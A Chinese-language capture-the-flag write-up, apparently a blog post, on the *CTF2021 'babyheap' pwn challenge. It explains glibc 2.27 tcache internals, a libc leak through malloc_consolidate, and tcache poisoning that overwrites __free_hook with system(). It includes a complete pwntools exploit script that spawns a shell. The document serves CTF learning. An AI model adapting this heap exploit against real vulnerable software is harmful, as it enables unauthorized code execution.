write up *CTF2021-Pwn babyheap

绪论

*CTF的pwn的签到题,挺离谱的因为是菜鸡这一题我看的时候就只找到了一个漏洞点。现在结合一些大佬的write up也写一下自己的解题思路。

babyheap

上来我们先checksec查看一下该程序的保护机制

image

可以看到这是一个64位的elf可执行程序,保护机制是全开的,像这种比较专业的ctf比赛基本上也遇不到平常我们做练习的时候那样的题目,基本上没有栈题了,而且保护机制基本上都是开启的。

前置知识

做这一题之前我们需要不少的前置知识,首先附件给了的libc的版本是2.27,在glibc-2.26的时候加入TCache机制而且是默认开启的,所以解题的时候也出现了很多的变化,除此之外,要解这一题还需要了解malloc_consolidate()函数,由于fast bin中的chunk都处于被使用的状态,所以永远不会被释放,导致相邻的chunk无法与之合并,从而造成了大量的内存碎片,而malloc_consolidate()函数就是用来解决这个问题的。在达到一定条件的时候,glibc就会调用该函数将fast bin中的chunk取出来,与相邻的free chunk合并后放入unstorted bin,或者与top chunk合并后形成新的top chunk。

分析

image

作为一题签到题,在代码的分析上,这题还是没有为难选手的,基本上每个函数的函数名就是函数本身的功能,逻辑也不是很难分析。

add函数的逻辑

image
delete函数的逻辑

image

edit函数的逻辑

image

show函数的逻辑

image

leaveYouName函数的逻辑

image

这个函数就是我们可以利用的点,因为它申请了0x400大小的空间,上面也提到了,当我们申请的空间大于small bin的时候,就会触发malloc函数中封装好的malloc_consolidate函数,会将fastbin里的零零散散的chunk给合并放到unsorted bin里进行分配,如果和top chunk相邻这片空间就会和top chunk合并。

这里我们特意的申请16个chunk为的就是在free的时候free前15个,留一个防止与top chunk合并。

然后我们利用leaveYouName()函数,使得刚刚我们free掉的chunk合并放入small bin中,因为small bin里只有这么一个free chunk,所以这个small bin的fd和bk指针会指向main arena +xx,我们只需要利用show()函数打印出相应的地址再减去xx,就能得到main arena的地址,再减去0x10就能得到___malloc_hook__的地址这样就能泄漏libc基址了。

image

将这个small bin再分配回来我们就能够实现chunk overlapping了,继而就是通过程序的edit功能实现tcache poisoning修改__free_hook为system()后free一个内容为”/bin/sh”的chunk即可get shell

exp

from pwn import *

#context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process('./pwn') # p = remote('52.152.231.198', 8081)
e = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # libc = ELF('./libc.so.6')

def cmd(command):
    p.recvuntil(b'>> ')
    p.sendline(str(command).encode())

def new(index, size):
    cmd(1)
    p.recvuntil(b"input index")
    p.sendline(str(index).encode())
    p.recvuntil(b"input size")
    p.sendline(str(size).encode())

def delete(index):
    cmd(2)
    p.recvuntil(b"input index")
    p.sendline(str(index).encode())

def edit(index, content):
    cmd(3)
    p.recvuntil(b"input index")
    p.sendline(str(index).encode())
    p.recvuntil(b"input content")
    p.send(content)

def dump(index):
    cmd(4)
    p.recvuntil(b"input index")
    p.sendline(str(index).encode())

def leaveYourName(content):
    cmd(5)
    p.recvuntil(b"your name:")
    p.send(content)

def exp():
    for i in range(16):
        new(i, 0x10)

    # 为了防止这片空间与top chunk合并
    for i in range(15):
        delete(i)
    
    # 调用该函数使得fastbin里的free chunk合并,成为small bin从而泄漏libc基址
    leaveYourName(b'arttnba3')
    #  gdb.attach(p)可以调试看一看堆里的结构
    dump(7)
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 336
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.info("Libc addr:" + str(hex(libc_base)))
    
    #tcache poisoning
    for i in range(7):
        new(i, 0x10)
    new(7, 0x60)
    edit(7, p64(0) * 2 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21))
    delete(10)
    delete(9)
    delete(8)
    edit(7, p64(0) * 2 + p64(0x21) + p64(libc_base + libc.sym['__free_hook'] - 8))
    
    # overwrite __free_hook
    new(10, 0x10)
    new(9, 0x10)
    edit(9, p64(libc_base + libc.sym['system']))
    
    # get the shell
    edit(7, p64(0) * 2 + p64(0x21) + b"/bin/sh\x00")
    delete(8)
    p.interactive()

if __name__ == '__main__':
    exp()


image
image

edit(7, p64(0) * 2 + p64(0x21) + p64(0) * 3 + p64(0x21) + p64(0) * 3 + p64(0x21))

然后delete(10),delete(9),delete(8),edit(7, p64(0) * 2 + p64(0x21) + p64(libc_base + libc.sym['__free_hook'] - 8))

其结构和上面两张图差不多。

由于最后free掉的是索引为8的chunk,所以new(10, 0x10)得到的就是chunk8,因为利用edit函数的功能将chunk8的fd指针改为了__free_hook的首地址,new(9, 0x10)得到的就是____free_hook。

____free_hook一般情况下是空的,但是我们写入了system,此时的____free_hook不为空,所以当我们使用free函数的时候____free_hook指向的地址是system,是不为空的,就会执行其指向的内容,就相当于执行了system函数。

然后向上面说的free一个内容为“/bin/sh”的chunk,就相当于执行了system("/bin/sh"),就拿到了shell。

posted @ 2021-09-15 22:26  Sentry_Prisoner  阅读(117)  评论(0编辑  收藏  举报